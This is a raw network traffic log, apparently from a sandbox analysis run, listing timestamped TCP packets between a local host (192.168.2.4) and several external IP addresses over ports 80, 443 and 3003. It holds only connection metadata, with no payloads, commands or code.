Jul 27, 2023 18:27:02.029156923 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029195070 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029201984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029239893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029247046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029285908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029289961 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029335022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029337883 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029381990 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029386044 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029426098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029447079 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029472113 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029485941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029532909 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029532909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029578924 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029624939 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029629946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029673100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029720068 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029732943 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029766083 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029772043 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029812098 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029858112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029866934 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029903889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029949903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.029958010 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.029994965 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030000925 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030061007 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030122995 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030159950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030209064 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030255079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030267954 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030302048 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030304909 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030348063 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030394077 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030401945 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030440092 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030484915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030493975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030531883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030539036 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030579090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030623913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030642986 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030672073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030716896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030738115 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030762911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030762911 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030808926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030853033 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030867100 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030900002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030946970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030956030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.030992031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.030997038 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.032505989 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.053678989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.053749084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.053797960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.053847075 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.053864956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.053864956 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.053891897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.053941011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.053951979 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.053987980 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054034948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054044962 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.054081917 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054128885 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054163933 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.054174900 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054223061 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054267883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054279089 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.054315090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054361105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054372072 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.054409027 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054415941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.054455996 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054502010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054510117 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.054548025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054595947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.054604053 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.054646015 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:02.057693958 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.245383978 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:02.994920969 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:27:02.995053053 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:27:03.003684044 CEST	49701	3003	192.168.2.4	95.214.25.207
Jul 27, 2023 18:27:03.042140007 CEST	3003	49701	95.214.25.207	192.168.2.4
Jul 27, 2023 18:27:03.089507103 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.106106043 CEST	80	49704	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.106245995 CEST	49704	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.189651012 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.205940962 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.209819078 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.210292101 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.210346937 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.226413012 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.226457119 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.321265936 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.321337938 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.321458101 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.517462015 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.517533064 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.533828020 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.533878088 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.589639902 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.589762926 CEST	443	49707	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:03.589885950 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.620204926 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.620282888 CEST	443	49707	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:03.656565905 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.656620979 CEST	80	49706	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:03.657171011 CEST	49706	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:03.685100079 CEST	443	49707	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:03.685266972 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.701538086 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.727618933 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.727811098 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.728096962 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.733848095 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.733875036 CEST	443	49707	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:03.734750032 CEST	443	49707	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:03.734826088 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.752973080 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.753309011 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.753360033 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.753446102 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.754976988 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.755024910 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.755120993 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.756606102 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.756726027 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.756930113 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.758462906 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.758512974 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.758579969 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.759253979 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.760211945 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.760344982 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.760490894 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.778320074 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.778371096 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.779757977 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.780059099 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.780107975 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.780179024 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.781802893 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.781852961 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.782077074 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.783500910 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.783550024 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.784301043 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.785339117 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.785387993 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.785701036 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.786973953 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.787024975 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.787657022 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.788789988 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.788841009 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.788957119 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.790452957 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.790503025 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.790572882 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.791892052 CEST	443	49707	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:03.792031050 CEST	443	49707	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:03.792068005 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.792107105 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.792107105 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.792979002 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.793041945 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.793334961 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.794784069 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.795270920 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.804753065 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.804811954 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.805083990 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.806440115 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.806488991 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.806642056 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.807930946 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.807981968 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.808316946 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.809570074 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.809618950 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.809698105 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.811182976 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.811230898 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.811299086 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.811464071 CEST	49707	443	192.168.2.4	162.0.217.254
Jul 27, 2023 18:27:03.811506987 CEST	443	49707	162.0.217.254	192.168.2.4
Jul 27, 2023 18:27:03.812771082 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.812822104 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.813030005 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.814135075 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.814182997 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.814273119 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.815577984 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.815627098 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.816245079 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.816886902 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.816935062 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.817398071 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.818351030 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.818401098 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.818603039 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.819479942 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.819530964 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.820199013 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.820621014 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.820669889 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.820805073 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.821953058 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.822000980 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.822873116 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.823093891 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.823183060 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.823803902 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.824342012 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.824389935 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.824995041 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.825421095 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.825579882 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.825653076 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.826805115 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.826869011 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.827806950 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.827989101 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.828035116 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.829216957 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.829245090 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.829293013 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.830096006 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.830355883 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.830404043 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.831355095 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.831809044 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.831856966 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.832091093 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.832376957 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.832427025 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.832613945 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.833164930 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.833211899 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.833882093 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.834100008 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.834583998 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.834630013 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.834788084 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.835481882 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.835530043 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.835545063 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.836415052 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.836462021 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.837138891 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.837338924 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.837384939 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.838180065 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.838224888 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.838226080 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.839169025 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.839193106 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.839215994 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.839270115 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.839970112 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.840017080 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.840259075 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.840895891 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.840944052 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.840993881 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.841799021 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.841847897 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.842725992 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.842772007 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.842854023 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.842854023 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.843595982 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.843641996 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.843938112 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.845136881 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.845185041 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.846085072 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.846163988 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.846163988 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.846400023 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.846447945 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.847682953 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.847728968 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.847788095 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.847788095 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.848572016 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.848618984 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.848912001 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.849781036 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.849832058 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.850490093 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.850492954 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.850543022 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.850917101 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.852843046 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.852891922 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.854021072 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.854115963 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.854168892 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.854168892 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.854912043 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.855036020 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.855082989 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.855443001 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.856957912 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.857006073 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.857050896 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.857059956 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.857096910 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.857157946 CEST	49708	80	192.168.2.4	89.208.104.62
Jul 27, 2023 18:27:03.858829021 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.858879089 CEST	80	49708	89.208.104.62	192.168.2.4
Jul 27, 2023 18:27:03.858925104 CEST	80	49708	89.208.104.62	192.168.2.4
